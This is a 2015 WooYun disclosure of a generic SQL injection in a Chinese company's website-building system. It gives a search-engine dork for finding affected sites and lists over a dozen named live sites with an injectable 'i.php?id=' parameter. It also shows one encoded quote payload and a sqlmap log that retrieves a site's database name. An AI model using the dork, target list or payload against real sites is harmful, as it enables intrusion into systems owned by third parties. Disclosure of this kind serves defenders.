当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2015-095281
漏洞标题：
某企业建站系统存在通用型注入
相关厂商：
龙采科技
漏洞作者：
0x 80
提交时间：
2015-02-05 12:01
修复时间：
2015-03-22 12:02
公开时间：
2015-03-22 12:02
漏洞类型：
SQL注射漏洞
危害等级：
高
自评Rank：
20
漏洞状态：
未联系到厂商或者厂商积极忽略
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2015-02-05： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-03-22： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

通用型注入
无意发现
======================================

详细说明：

g.cn输入：inurl:i.php?id= 技术支持:龙采科技
===============================

5432.png


32.png


其中i.php?id=页面下存在通用型注入

45.png


4.png


43.png


http://www.htime.com.cn/i.php?id=7


987.png


7211.png


http://www.huangxinhua.com/i.php?id=4
==============================================
sqlmap来跑下

漏洞证明：

贴几个CODE
===========================================
http://www.tlymnj.com/i.php?id=1

46.png


2.png


=====================================================
http://ghsdhzs.com/i.php?id=1

3.png


===========================================
http://www.yufeng111.com/i.php?id=1

88.png


==============================================
http://www.xiaolajiao.cn/i.php?id=6

448.png


==========================================
http://hwgcys.com/i.php?id=4

47.png


768.png


=================================

541.png


http://www.hrbqtl.com/i.php?id=32%A1%AF

67.png


http://www.baliwufushi.com/i.php?id=41


http://www.hrbqtl.com/i.php?id=32
[18:53:41] [INFO] retrieved: hrbqtl
current database: 'hrbqtl'
[18:54:06] [WARNING] HTTP error codes detected
403 (Forbidden) - 263 times
[18:54:06] [INFO] fetched data logged to text f
tput\www.hrbqtl.com'
[*] shutting down at 18:54:06

77.png


99.png


http://www.hrbdhqzjx.com/i.php?id=157
=============================================

修复方案：

通用防注入

版权声明：转载请注明来源 0x 80@乌云

>

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝